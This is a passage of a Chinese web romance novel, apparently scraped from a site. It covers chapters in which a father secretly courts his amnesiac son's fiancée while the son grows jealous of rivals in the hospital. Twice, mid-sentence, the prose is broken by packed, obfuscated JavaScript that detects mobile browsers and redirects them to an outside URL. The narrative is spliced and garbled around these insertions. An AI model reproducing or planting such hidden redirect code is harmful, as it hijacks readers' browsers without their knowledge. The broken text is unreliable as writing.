她总是有很多奇思妙想。 恰到好处的有趣,又不惹人厌烦,只要不用面对他。 孟祯先想到这一点时,有些针刺般地不适。 在意别人对自己的看法,对方还不是个陌生人,而是孟逐的结婚对象时,这是一个危险的讯号。 孟祯先减少了回复的频率。 然而,这么做了几天,江绵却告诉他,在球馆碰见另一位和他同名的教练,不知道他认不认识。 孟祯先看到,再次让周威改了上课时间。 一个谎言要用无数个谎来圆。 这也就意味着需要更多的精力和时间。 而一个人的精力是有限的,而像他这样在工作中很少分神的人,一旦不专心起来,很快就会被周围的人注意到。 刘秘书已经被很多人问过这件事了,但她没想太多,在她的印象里,这位老板只有遇到孟董的事时,才会心神不宁。 见他看了会儿手机,就取消了下午的会议,准备出门时,刘秘书有点吃惊,以为孟董又搞出了什么状况,正要询问是否需要陪同,便听男人道:“标书放我桌上,等我回来再看。” 待会儿还要回来还要工作,那就是不严重了。 刘秘书放下心来,“没问题,孟总。” * 女孩脊背雪白,两侧的腰窝清晰下凹,不用上手,宛如缎子般光滑细腻。 她兀自低着头,捂住起伏姣好的胸口,秀丽的长颈微微低垂,上面散落了几缕黑色的碎发,咬字有些黏连,“孟逐,帮我拉一下拉链。” 那些仿佛通往地狱的裂缝般的黑色碎发,让孟祯先陷入了长久的沉默。 事情是怎么变成这样的? 得知江绵不来上课,是要去试婚纱时,孟祯先只回了个句号。 这事他早有耳闻。 孟逐订的那家婚纱店,在自己看来,并不是最好的选择。 款式都是秀场的过季款,店里配置也良莠不齐,只有营销做得不错。 但他们喜欢就好。 在不了解那个女孩前,他是这么想的。但孟逐生病以后,显然不会再跟随以前的自己的心。 孟祯先只是抱着江绵可能落单的想法去那家店的。 当然,已经让刘秘书把手机还给孟逐了,明明可以打个电话问问的事,要是发现他失约直接通知他过去行了。 但身体偏偏选择了更迂回的方式。 当他走到前台,报出江绵的名字,就被店员认成孟逐时,孟祯先陡然发现,会营销也是种能力。 “江小姐正在里面试婚纱,”这对新人给他们加了不少提成,店员态度殷勤,“我带您过去。” 这家店的试衣间是一个装潢现代的开间,靠墙摆了两排衣架,上面挂满了婚纱,中间是展台,展台附近一圈长帘,对面则是一排围了白色风铃假花的落地镜。 空气中漂浮新衣料特有的洁净气味。 店员将人引到落地镜前的沙发上,端了热咖啡和茶点过来,“孟先生,您是先去换礼服,还是在这里休息会儿?” 男士礼服在另一边。 孟祯先看了她一眼,对方便会意地笑笑,退了出去。 如果当时答应出去试礼服,也就是孟逐订的那套西服,如果没有错过否认时间,之后的事就不会发生了。 女孩弓着单薄的、似乎随时都要振翅而出的精致肩胛,似乎终于从凝滞的空气中品出了什么,“……孟逐?” 在女孩即将转身前,孟祯先沉吟片刻,抬手覆了上去。 14. 过渡品 孟逐的石膏已经拆除很久了。 现在是复健阶段。 他爸给他安排了最好的复健团队,他不需要担心他们办事不利,只要老老实实跟随医生的指导,就能迅速恢复到正常人的状态。 但是接完婚纱店的电话后,他却有点专心不下来。要不是这通电话,他都要忘了他们还有婚约的事。两个人的婚礼,店里不可能只联系他。要是江绵知道他没去会怎么想,说失望是不可能的。 可是转念一想,孟逐又觉得自己没什么可以指摘的地方。是的,他承认相处这段时间以来,他对江绵是有些悸动,甚至亲密接触后,会产生一些不该有想法,但这不是很正常吗,他又不是清心寡欲的和尚,而且还做了那种梦…… 孟逐原本设想自己拿到手机,会第一时间找常悦瑶,或者骂楚沛放自己鸽子,结果自己只是瞥了眼上面积攒999+的消息就丢到边上,压根没有点开的意思,也没有想找的人,满脑子都是江绵听说他拒绝试礼服后失落难过的模样。 她会一个人去试礼服吗? 他都拒绝了她应该明白他的意思吧? …… 抱着这种不安又侥幸的心情,孟逐完成了一次又一次的复健,连拉扯肌肉带起的酸痛都忘记了。等到复健结束,从大厅回病房的路上,也没拿定主意。 病房里,江绵还没回来。今天是周三,她上私教的时间。尽管现在还没天黑,但白天偶尔也能看到她出去练球,孟逐还能拿这个安慰自己,直到他看到挂在女孩床头的那根球杆。 孟逐不喜欢打球,听江绵说要学高尔夫也没怎么关注过,这会儿才发现那根球杆有点眼熟。 他一瘸一拐地走到床边,盯着看了会儿,正要拿起来,身后就传来一阵敲门声,以为江绵回来了,立刻缩回手,就看到楚沛提了一只果篮站在门口,手里还维持着敲门的姿势,见自己望来,有点心虚地笑了下,“是我。” 孟逐:“……” 孟逐:“舍得出圈了?” 楚沛嘿嘿一笑,对青年讽刺他是猪的话浑不在意,他把果篮放到茶几上,“这不是孟叔的意思嘛。” 要是孟祯先同意,他早过来了。更别说,这里还有个自己喜欢的人。 孟逐对此也心知肚明。 大概是快出院了,他爸才解禁的,不然楚沛也不敢过来。 他冷哼一声,没再说什么。 有楚沛在,不好继续看球杆,孟逐回到床边坐下,“说吧,最近在忙什么?” 忙到敢挂他电话。 楚沛摸了摸鼻子,当然不敢说自己在忙着撬他墙角,而且还撬失败了,为此消沉好几天,但孟逐不是好应付的人,楚沛来之前就想好要怎么回,闻言便道:“还能有啥,徐然呗。” 孟逐脸色微变,“他又怎么了?” 楚沛把徐然的近况告诉孟逐,着重说了他搭上弘光大股东的千金,得到一笔投资的事,“人家现在可混得风生水起呢。” 孟逐想到上次见面时,常悦瑶信誓旦旦表示她爱上了徐然,不会再跟自己交往,气得他冒雨徒步了几个街区。 可是心里,其实有一点相信的,常悦瑶很重感情,徐然为了复婚还纠缠过她,怎么转头就体奔向了别的女人?他到底在搞什么? 刚一质问,孟逐就发现自己的语气太过理智冷淡了,好像在说跟自己事不关己的人的事。 明明不该是这样的。 他心中悚然,楚沛却显然没注意到,还在嘀嘀咕咕,“其实也不能完全怪他。他们家落到那个地步,他要不再做点什么,就别想无法维持以前的生活了。毕竟……” 说到这,楚沛话锋一转,“不过,这也是好事吧。没了徐然,常学姐也不会有心理负担了。” 听语气倒是不知从哪听说了自己被拒绝的事。 孟逐还没从刚才那种悚然的感觉里抽身,闻言,敷衍地嗯嗯两声,楚沛眼神奇怪地看了他一眼。他听到这种话,不该高兴吗,这么这副表情? “孟逐,你是不是……”楚沛想到很么,语气试探,“你是不是想起什么了?” 他只是随便问一问,并没有抱什么意图,没想到对方反应极大,“没有!我什么都没想起!” 楚沛:“……” 楚沛正要开口,外面响起一阵低低地说话声,他停止话头,循声望去,看到心心念念的女孩从门外进来。 她臂弯搭着大衣,长发盘在脑后,只在鬓边留了几缕。 楚沛看着看着,仿佛回到了他们单独约会的时候,情不自禁就要帮她接过大衣,刚一起身,才想起场合不对,连忙坐了回去,“好久不见,江绵。” 江绵似乎对他的出现有些意外,但仍然客客气气地笑了笑,将大衣挂到衣帽架上,好像他们之间什么事也没发生过。 楚沛多少有点残念。 他并不是爱纠缠的个性,被允许过来探望,带了点想见到江绵的心思而已。这会儿见到人了,却发觉自己想要的不止是见到那么简单。 但人家的正牌男友还在,楚沛也不好做什么。他装作跟女孩不熟的样子,继续和孟逐聊。 不过,孟逐的心思好像自从他提到恢复记忆的话就开始飘远,三句回一句,连江绵回来也像没注意,于是楚沛只说了一会儿便告辞了。 孟逐见状,也没有挽留。 他其实注意到江绵进屋了,但他做的事有点不地道,不知道怎么面对她,再加上楚沛的话让他发现自己对常悦瑶的执念变浅了,还隐约有把梦境当现实的倾向…… 孟逐非常纠结。 可是,江绵又不问他,他自己憋了半天,晚饭时,还是没憋住,开口道:“你去试婚纱了?” 江绵:“嗯。” 孟逐心里一沉,正要说自己不是故意不去的,就听女孩道,“还没谢谢你帮我……”她顿了顿,甜蜜的嗓音蕴了些小心,“不过,如果要提前走的话,能不能跟我说一声呢。” “我在试衣间等了你好久。” 孟逐越听越觉得古怪,他根本就没去婚纱店,她的口气怎么一副他不仅去了还帮了她大忙的样子。他看了眼窗外,这也没天黑啊,难不成江绵白日撞鬼了? 孟逐故作平静,“知道了。” 过了会儿,他又忍不住问,“我帮了你什么?” 江绵眼睫轻颤,两颊晕开点淡红,“……就那个啊。” 孟逐:…… 就哪个? 他还想追问,女孩却不肯再说了。 孟逐悻悻地躺回去。 不说就不说,他明天就去问婚纱店。 但孟逐还没来得及这么做,夜里他又开始做梦了。 梦是昨天那个梦的后续。他历经周折,终于和常悦瑶结婚,一转头,就发现江绵被自己抛弃后,径自走上了酒店天台,醒来,冷汗浸湿了背心。 江绵又不见了。 如果不是看到茶几上的果篮,他还以为今天和昨天是同一天。 “她人呢?” “江小姐和楚少去给您买早餐了。” 护工说完,就发现孟逐的脸色有点不对。 “几点去的?” 护工想了想,“六点多吧。”他刚来上班的时候。 六点多。 孟逐磨了磨后槽牙,现在都八点一刻,他以前怎么没发现买个早餐要这么久? 楚沛原本都已经放弃了。 但昨天来过一趟,又收到家里的嘱咐,通宵完就直接过来了。他其实可以睡一觉再来,反正孟逐也要九、十点才起床。但提前来,可以错开他,单独和江绵相处,这种机会可不是每天都有的。 但可能是他之前追得太大张旗鼓了,让她生出抵触,即便一起出门,女孩也没怎么搭理自己。 这一次,楚沛决定拿出点绅士风度。 他帮她提购物袋,全程都温言细语,照顾对方感受,走到住院部楼下,才停下脚。 “江绵,其实我——” “江绵。” 楚沛抬头望去,见到孟逐站在住院部大楼前的罗汉松旁,目光森冷地注视自己,话却是对他身旁的女孩说的,“不是买早餐吗?早餐呢,我饿了。” 楚沛下意识想拉住江绵,对方却似乎从孟逐一出现就完全忽略了自己的存在,挣开他的手,小跑过去,挽住了青年,“有无糖豆浆和牛肉饭团,要先吃哪个?” 孟逐本来想说随便,但他现在一看到江绵就想到那个梦,想到她那张绝望到难以挽回的面孔,见她现在笑得那么开心,一句重点的话都说不出口,只把怨气撒在楚沛身上,“我爸让你这么做的?” 除了这个理由,他想不到别的。 楚沛又不是徐然那个疯子,他不聪明,但会审视夺度,从来不做出格的事。 而且,徐然和常悦瑶认识那么久,还能说有感情基础,他和江绵有什么?照楚沛跟他说的话,要不是他失忆,他还不认识江绵吧? 孟逐以为自己冷静得很,但在外人看来,他像一座随时会爆发的火山,脸色黑沉得宛如滴墨。 楚沛算是体会到一点徐然当年的感受了。 但他一直觉得自己对江绵的感情没有徐然对常悦瑶那么深刻,以至于被抓包时也没那么害怕,只是有点遗憾没能在孟逐出现前说完那句话。 楚沛耸耸肩,“他也是为你好。” 谁让孟祯先给了他来探望的机会呢?反正孟逐又不会跟他爸翻脸,楚沛甩锅甩得毫无压力。 果然,孟逐听完,没有任何怀疑,只是眼底的鄙夷浓郁了些。 “滚吧,暂时不用过来了。” 比起孟逐对待徐然的方式,这已经是很温和的结果了。 楚沛点点头,把剩下的早餐交给女孩。 江绵好像还不明白发生了什么,脸色有些迷茫,见楚沛把购物袋递给来,正要去接,另一只手就提了过去。 孟逐提着购物袋,对她道:“走了。” 江绵看了眼楚沛,又看向脸色难看的孟逐,还是收回视线,陪他上楼。 * 发生了楚沛的事,尽管对方承认是他爸的意思,孟逐还是对江绵开始关注起来。 这一关注才发现除了自己,身边的男女老少都对她非常友善,而且,她也不是一天到晚都呆在医院的。 除了出门上私教,偶尔还会参加一些小型演出,一去就是大半天,要真想做什么,完全有富余。 孟逐对江绵是信任的,他只是不信任他爸。 之前是常悦瑶,现在是江绵。 常悦瑶从一开始就不被接纳,但江绵不是他爸打发过来的吗,怎么突然又变卦了。 就这么喜欢插手儿子的感情生活? 不对,孟逐心道,他和江绵没有感情。 他只是、只是打个比方而已。 楚沛失败了,他爸肯定会安排下一个人去。 决定跟踪江绵时,孟逐就是这么劝说自己,他只是收到那些怪梦的影响,那些梦让他变得草木皆兵,担心她出事而已。 但刚离开医院不远,就把人跟丢了。 听着司机尴尬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895217|192187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道歉,孟逐气急败坏地捣了下拐杖。 没用的东西! * 过去一周了,孟祯先闭上眼,那天的场景依然历历在目。 过去的每一次让步,每一次妥协,都可以视作对新来的家人的体谅,然而,某些时刻的本能却是骗不了自己。 当车开进球馆,看到露天草地上,几个衣冠楚楚的男人围着女孩调笑时,这个念头立刻被另一个更为激进的想法占据。 孟祯先把江绵救了出来。 她缩在他怀里,肩上披着他的西服外套,好像被吓得不轻,经理在边上不断道歉,球馆场地太大,不是每个地方都有监控,一时注意不到也是有的。 孟祯先明白这个道理,但还是将那几个男人送进了警局。把江绵捞出来时,他没来得及进更衣室,她以为他是偶然出现的,孟祯先也没解释。 把人带回车上,才道:“有没有受伤?” 江绵摇头。 发现是他,她又收起了在“周威”面前的随意,变回了那个见到自己就谨小慎微的女孩。一上车,便缩到了靠近车窗的角落,外套也脱下来,抱在怀里,一副想还给自己,又不知怎么开口的样子。 孟祯先的衬衫上还残留着女孩刚才仓惶中埋进他怀里时沾染的馨香,一抬头看到她这副避之不及的模样,莫名感到好笑。同时,也有点隐隐的郁气。 他没有问她为什么坐那么远,或者是不是怕他,上了那么多天的课,对江绵的性格也了解了点。 孟祯先屈指,敲了敲身旁的空座,“坐这里。” 女孩微微睁大眼,好像对他这幅态度有点陌生,但还是轻手轻脚挪到他指的位置上,只是脸色有点委屈。 孟祯先只当没看见,他伸出手,“拿出来。” 江绵愣了下,“什么?” 孟祯先:“你藏在西服下的东西。” 江绵仿佛没想到他会察觉到她的秘密,顿了顿,在他的眼神催促下,还是不甘不愿地拿回来。 那是一根劈折的曼佛球杆。 “怎么弄成这样的?” 孟祯先接过来,摩挲了下杆身。 “刚才在那边,被他们扯的……”女孩到这一刻才想起他的身份般,语带希冀,“孟叔,你认不认识能修这个的人?” 孟祯先看了她一眼,没有立刻接话。 看得出来,他们拽她球杆时,握的就是这一头。 那几个人并不是单纯冲江绵去的,大约是见到这根球杆,要跟她买,被回绝了便仗着监控拍不到,想对她做点什么。 想到他晚来一点,江绵可能遭遇的危险,孟祯先的眸色发沉。 他放下球杆,正要说什么,就捕捉到女孩脸上来不及敛起的惧意。 霎那间,孟祯先明白了她怕他的原因。 第一次见面那天,在陈女士的葬礼上,他为了孟逐去接常悦瑶的事大为光火,当时,江绵就坐在他边上。 “你想我帮你修好它?” 江绵回过神,轻轻点头。 她看着球杆,“这是周教练借我的。” 顿了下,她好像想到自己“不知道”她在学高尔夫的事,就把周威教练和自己的事说了,在她的描述里,“周威”是业务能力和人品都很正面,还有点冷幽默的男人。 孟祯先对此没有评价。 江绵看着球杆,道:“我查过价格,因为是绝版的手工球杆,单根市价近百万,制作者又不在人世,同等水平的……反正,要是弄坏,他会很难过的。” “为什么这么说?”孟祯先不动声色,“说不定他借给你,就是想让它发挥应有的命运。用坏也是命运之一。” 女孩有些不赞同,“怎么能这么说呢。” 她指着杆面上的那串小字,“您看这里,这肯定是周教练的母亲送他的,不管是价值还是意义都是无可比拟的,就算它要坏掉,也不该在这种场合坏。” 孟祯先看到那行英文,唇角噙起笑,眼里却缺乏暖意,“有时候事情不能看表面。” 就像这根球杆不是周威出生的家庭负担得起的,它被赠与时也不是出自爱意。 但他没有对女孩天真的发言说什么,而是道:“我会找人帮你修好它。” “谢谢孟——” “但你要拿什么回报我呢?” 江绵卡壳了一下,“我有钱……” “我不缺钱。” 孟祯先黑眸晦暗地盯着她,不容许对方有丝毫的分心,而女孩也似乎终于察觉到自己的要求似乎不会那么简单,她抓着座椅边缘,语气不安起来,“孟叔,我听不懂。” 还不是时候。 孟祯先看着她的动作,敏锐地意识到这点。再掀起眼皮时,他放缓了语气,“前几天和孟逐去试婚纱了?” 这是一个安全的话题,江绵显然也明白,尽管有些紧张,但还是抓住机会,乖顺地应了声。 孟祯先:“试得怎么样?” 试婚纱能怎么样? 江绵有点摸不着头脑,“还行。” “只是‘还行’可是不够的,”孟祯先道出了自己的真实目的,“礼服上出现丁点岔子,都会影响仪式。我打算给你们换一家正规的礼服工作室,你怎么想?” 这话的意思,就是换礼服为代价来交换修球杆了。 江绵犹豫了下,“我听孟逐的。” 孟祯先意味深长地看了女孩一眼,没再开口。 他会同意的。 毕竟这场婚礼,只要有一位姓孟的新郎就能举行。 15. 过渡品 孟逐还不知道即将被换礼服的事。 司机没跟到人,把他原路送了回来,这会儿正满脸不高兴地在病房晃悠,不时走到窗前,看江绵有没有回来。 他虽然在复健期,精力却十分旺盛,一刻都安静不下来。 护工被他的金属拐杖的哒哒声烦得不行,又不好直接抱怨,只能委婉道:“孟少,您在找什么?” 孟逐没有理他。 但什么事都写在脸上的人,没有不好猜的。 护工虽然有点怀疑自己戳破后,他会恼羞成怒,但他实在不想再听到那阵声音了,“孟少,如果您想找江小姐,直接问她在哪不就好了?”至于晃这么久吗。 孟逐白了护工一眼,“用你说。” 他要是能直接问,还跟个屁。 护工真是没辙了。 他平时看孟逐对江小姐呼来喝去的,以为他的脸皮很厚呢,没想到有了人家号码还是不敢联系。 顿了顿,道:“要不您问问楚少,楚少和江小姐不是也经常来往吗?” 孟逐把楚沛撵走那天,护工不在楼下,不知道他们发生了什么,这话完全是出自保护听力的苦心,没想到刚好触到了孟逐的痛脚。 “他们经常来往?!” “你跟我说清楚,他们什么时候——” 话音未落,走廊外传来一阵电梯开门声。 护工正要说什么,就看到孟逐风风火火冲到床边,抓起放在枕边的手柄,装模作样地点开一个游戏。因为跑得太快,不知拉到哪里,他疼得眯眼咧嘴,却在门被推开时,迅速调整回一贯的散漫神情,看得护工叹为观止。 “你回来了,今天怎么……” 孟逐按下暂停,若无其事地看了眼来人,视线落到那人脸上的瞬间,却陡然锐利起来,“谁让你进来的?!” “安保呢?” 孟逐正要叫人把他撵出去,推着徐然进来的女人便生气道:“你说话客气点,要不是因为你,徐然哥也不会变成现在这样!” 女人跟她父母长得很像,都是窄脸单眼皮的长相。 孟逐一眼就认出了她的身份,毕竟她爸妈在董事会份量不低,而且楚沛才提过这件事。 但他还是扯了扯嘴角,当即骂道:“你算什么东西,也配跟我指手画脚。” 帮徐然说话的打包一起滚。 "你——" 女人从来没遇到对她这么不客气的人,脸色立刻就黑了。她还没憋出回骂的词,被她护着的青年便安抚道,“陈小姐,你先出去吧,让我和他谈一会儿。” 被唤作陈小姐的女人应该对徐然很有好感,听他这么说完,虽然恼怒地瞪了眼自己,但还是起身出去了。离开前,还故意道:“徐然哥,你别怕。这家医院的院长是我舅舅,要是他敢对你做什么,我舅舅不会放过他的。” 孟逐嗤笑一声。 舅舅,那她知道他舅舅靠谁开的医院吗? 又一个被徐然哄傻的。 陈小姐是出去了,护工还在屋里。徐然看着孟逐,显然在等他把护工也叫出去,但孟逐就是不搭腔,徐然看出他不配合,只好先开口,“孟少,我今天是过来道歉的。” 孟逐意有所指的看了眼他的腿,“道什么歉,道我没能把你撞得更残一点的歉?” 如果这里不是三十多层的高楼,护工真想跳窗跑了。 当着受害者的面说这种杀人诛心的话,他是真怕人家一个暴怒,坐着轮椅冲过来把孟逐捅了,迁怒到自己。 但和他想象得不同,徐然的神色冷静得不像话,仿佛这种戳心肝的话也不能引起他任何情绪波动,“两个半月前,我的保镖不小心将你打进了医院,该赔的,也都赔了。孟先生说,如果我能取得你的原谅,这件事就算结束。所以我今天,是过来做个了断的。” 护工闻言,朝门口的方向挪了一大步。 孟逐无语地看了他一眼,又看向徐然,“你想怎么了断?” 他压根不怕徐然动手,最疯的时候也要顾忌家里的人,在还有希望的时候,是不会做出损人不利己的行动的。 徐然再次看了眼护工,发现孟逐真的打算让人待在病房听完全程的意思,沉默几秒,一字一句道:“我和陈小姐马上要订婚了。” “是吗,那可真是恭喜。看上你这么个——” 孟逐正要阴阳回去,忽而想到什么,一骨碌坐起,“你要订婚了?那悦瑶呢!” 他碰倒了床边的拐杖,一直守在门外的陈小姐立刻冲进来,“徐然哥,你有没有事?!”说话时,眼神忌惮又后怕地望着自己,好像以为他对徐然做了什么。 孟逐心情好还会陪她吵上几句,但他这会儿还没听到想要的回答,又见人闯进来,抓起另一根拐杖就砸了过去。 还是徐然眼疾手快将她拽开,才让她免于受伤。 但这一通操作下来,陈小姐终于生出点恐慌,不敢和孟逐正面对呛了。 疯子。 被安保带出去时,她后怕不已地想到这个词。 而这个事实,徐然很多年前就明白了。 “我和陈小姐的事,悦瑶一早就知道。” 孟逐眉头紧锁,定定地盯了他一会儿,脑海中像有两根一直对不上号的电线接了起来。 楚沛说常悦瑶是因为徐然在外面养情妇,还为了情妇打她,才回国闹离婚的。徐然又说她早就知道陈小姐的事,换言之,这位陈小姐,原本就是徐然出轨的对象。并不是在自己出事以后,为了挽回徐家才搭上的。情妇或许是为了掩盖她真实身份的托词。 孟逐的语气难以自控地变得嫌恶起来,“你……”他顿了顿,还是把那句恶心的经典台词问了出来,“你当初得到了悦瑶,为什么不好好对她?” 他害他变成残废后,他爸没少给他们塞钱吧。他拿着那些钱,明明能和常悦瑶过上宽裕自在的生活,为什么还要出轨?那个女人,连常悦瑶的一根手指都比不上。他根本配不上常悦瑶。 徐然没有回答。 要他说什么,说常悦瑶跟他上.床是一时兴起,说她根本不喜欢自己,说她是喜欢拿他当成让孟逐吃醋的工具,说结婚几年来,她宁可点男模,都不愿意碰他……那些话说出来,只会自取其辱。 但只要他不说,在孟逐看来,就是自己辜负了常悦瑶。那样起码还能保留点自尊。 孟逐看徐然这副窝囊样也知道这人拿不出像样的解释,他胸口又闷又胀,突然很想抽烟,但自从江绵设置了自动烟雾喷淋器后,他已经很久没抽了,忍了忍,让护工倒了一杯水,灌了两口,放到床头柜上,“你走吧。我爸那边,不会再找你麻烦。” 他知道该怎么说。 徐然大概没想到他那么轻易放过自己,怔了怔,说:“谢谢。”临到门边,又对护工说,“可以出去一下吗?” 护工早就想走了,瓜虽然好吃,但安全更重要。闻言,都没看孟逐,就溜了。 孟逐没有计较,拧着浓眉看了眼徐然,“你还要做什么?” “作为报答,我想告诉你一件事。你现在的女朋友,”青年停顿了下,见孟逐没有变脸,才继续道,“她和楚沛,还有你……” “行了。”孟逐有点反感从徐然嘴里听到江绵的名字,“她和楚沛没有关系,别把他们相提并论。” 徐然想说的,其实是另一个人。不过用楚沛抛砖引玉。但见孟逐那么不想听,识趣地闭上了嘴。被陈小姐推进电梯时,他听到女人不安地声音,“徐然哥,发生了什么好笑的事吗?” 徐然愣了下,“没有。” “那你怎么……” 徐然顺着她的视线望去,看到镜钢里自己的笑脸。 在见完孟逐,接受完他给的屈辱后,他居然在笑。 可是,他怎么能不笑呢。还有哪个蠢货能有孟逐那么倒霉,走了一个自己,又来一个劲敌呢。他是真的很期待,这两人对上时,会是什么样子。 * 江绵回到医院时,已经是凌晨了。 她又困又累,洗漱完就直接睡了。 第二天睁开眼,看见趴在床边的那颗黑漆漆的脑袋,吓得来不及反应,就把人踹到了地上。听到熟悉地呼痛声,才发现这不是医院灵异事件,而是孟逐。 但孟逐很少起得比她早,所以江绵一时没认出来。 她掀开被子,穿着睡衣下床搀他,“你还好吧?” 孟逐感觉尾椎骨都被摔折了,还好呢。 但是他还记得江绵刚搬进来,就把他摔了好几次的事,就算疼也梗着脖子装镇定,“没事,你把拐杖给我。” 江绵看了看周围,发现拐杖放在门后。去拿过来时,她感觉有点奇怪,拐杖和他距离这么远,孟逐是怎么过来的。靠蹦? 孟逐不知道女孩在想什么,他接过拐杖,就把自己撑起来,忍着痛,故作从容地走到门边,“你去洗漱一下,我们出去吃饭。” 江绵:? 江绵:“去哪?” 孟逐卖了个关子,江绵到了目的地,才发现他带她来的地方,居然是他们初遇的那间餐厅。 他像是想起来一点,又没完全想起来,落座时叫的餐点是一样的,听到她说起曲子时,却一头雾水,还以为她想跟钢琴师抢活,用一副“你这么闲吗”的表情看了她一会儿,才把侍应生叫来,问多少钱能让他的女伴上去弹一首。 江绵:…… 结果是她的确坐上去弹了,但孟逐的表情只是一副单纯觉得挺好听的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909354|192187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这首曲子叫什么名字?” “《孟逐》。” “我问曲子。” “对啊。” 江绵看着青年错愕的眼眸,一字一句道:“这首纯音乐的名字叫《孟逐》,是前年写给你的生日礼物。” 孟逐张了张嘴,又闭上了。他的脸色变幻几瞬,好像既有点高兴,又觉得哪里不太满意,总之,综合在一起不符合开心的定义就对了。 从餐厅出来,孟逐问:“如果我一辈子都不能恢复记忆,你还要跟我在一起吗?” “不会有那种情况的。”江绵说,“医生不是说了——” 孟逐打断她,“我是说万一。万一我不能恢复,你怎么办?” 女孩垂下眼帘,思索了片刻,“如果真的不能恢复,我们就一起创造新的回忆。” 她的语气柔软,眼神清亮得近乎滴水,仿佛只要能跟他在一起,什么都愿意接受。 孟逐都不知道说什么好了。 她怎么能那么喜欢他呢? 他一点都不好,脾气又大、对她又那么恶劣,彻头彻尾的无赖,还有精神病史。 他都不知道她喜欢他什么。 新的记忆,是指他吃蟹黄面时她说喜欢吃排骨;趁她不在时,偷偷玩她说过他们玩过的,但自己没有印象的游戏; 把人气跑后沿着无人的乡间小路,在安保无奈的陪同下,一遍遍找人的夜晚; 打开他爸还来的手机,看到相册里塞满了他们各种各样的,千奇百怪的合照,怀着古怪的心情看了好几个白天; 还是趴在床边看她睡觉时,因为她害自己没跟上,等了大半夜只等到徐然那个恶心鬼,都不知道什么时候回来就睡过去了,错过了质问的时间,气得偷偷捏人鼻子时软乎乎的手感。 还有她喘不过气来,用嘴呼吸时,微微露出的湿热潮气。 就像之前她吻他时一样。 她说那是他们过去经常做的事,她为他编了以他的名字命名的曲子,她陪床以来,就算被他刁难那么多次也没有放弃,还有在浴室里…… 他甚至有点嫉妒以前的自己。 孟逐喉结滚动,迎着女孩倾慕的目光,那些话自然而然地涌到嘴边,“江绵,要不我们……” 他想说要不他们重新认识一遍吧。 以前的他会做的,现在的他也能做到,重来一遍,如果那些记忆都是真实存在过的,他还是会爱上她。 但是孟逐没能说完,震动音就从包里响起。 他拿起来看了眼,脸色就变了。走到旁边接完,再回到女孩面前时,刚才的情动已经褪了下去,变回了平常那副散漫的样子。但是这种散漫中,带着一点造作。 “我有点事要忙,你自己先回医院吧。” “什么事,要不要我陪你?” “不用!” 不快地打断后,看到江绵被吓到般的脸色,孟逐有点不自在地别过脸,帮她叫了一辆车,“你不认识他们,没必要跟过去。” 关上车门时,他顿了顿,做了保证,“我很快就会回来。” 他没有回来。 第四天上午,还没见到人,江绵准备联系刘秘书时,孟逐终于露面了。他剪了头发,换过衣服,神采奕奕地出现在康复科。做完复健,在病房见到她时,脸上的笑容还扩大了一些。 要推迟几天回来的事,孟逐和刘秘书说过,对方同意了他才留下来的,自觉没做错什么。刘秘书也肯定会帮忙转达,江绵又不是不知情。但不知为何,看到女孩眼下少见的淡青,脑补对方可能等自己等到很晚才睡,还是有点感动,“江绵,你要不要去补点觉?都有黑眼圈了。” 江绵合上书,走过去,“这两天,你去哪了?” 孟逐笑容一滞,什么意思?他不是跟刘秘书说过,难道她忘了告诉江绵,还是她明知道自己去向,非要故意这么问? 孟逐看着女孩隐含质问的目光,下意识偏向了后者。本来想告诉她的事,也咽了下去,变得有些冷淡,“你不是知道吗。” 江绵抿了抿嘴,抬眼看他,“你去见常学姐了。” “她不是你学姐,不要这么叫她。” 下意识反驳完,孟逐就知道完蛋了。他没想把话说那么难听,但是不知道怎么搞的,一被江绵问起,情绪就有点上来了。说完才感到懊悔,正要补救,就见女孩脸上露出受伤的神情。 孟逐感觉她会哭出来,他不擅长应付女孩,其他女的还好说,不喜欢的赶出视线就行,但对江绵他就完全没招。 “你……” 他想说你不用为了这么点小事就哭吧,斟酌了下又觉得有点阴阳,准备换一句更委婉的,江绵的声音就在对面响起,“那我要叫她什么?孟太太?” 16. 过渡品 孟逐:“……” 孟逐这回是真的有点被气到了。 “可以啊,”青年话音落下,还嫌不够嘴欠般,煞有其事地补充道,“现在就习惯起来,等悦瑶和我结婚时,我还允许你过来当伴娘,就算对你这段时间陪床的报酬了。当孟家的伴娘,红包可是不少拿的。” 他以为江绵这种,自己说一句不要叫常学姐都会被气到的小心眼,听他这么说完,少不得给他俩嘴巴子,都做好躲开的准备了。 结果女孩听完,却是脸色发白地看了他一眼,把书丢到他身上,转头跑了出去。 那是一本四角包银边,沉甸甸的精装书,通常都是孟逐砸别人,很少被人砸。 被银边的尖角怼到肩膀,他疼得闷哼一声,差点摔倒在地,见人跑得快没影了,也顾不上自己肩上的钝痛,连忙拄着拐爬起来,招呼安保帮忙追。他可不想再遇到像之前那样,大半夜困得眼皮打战还要出去找人的下场了。 孟逐追不上江绵,安保确实追得上。而且,她只是跟他赌气,对安保却很客气。安保把人送回来时,孟逐对她的双标很不爽。 凭什么人家说的就听,他说的就当装聋。 回来生了会儿闷气,还是本着自己有错在先的原则,先跟她交代。 “喂,你不想知道我去找常悦瑶做什么吗?” “不想。” “不行,你必须想。” 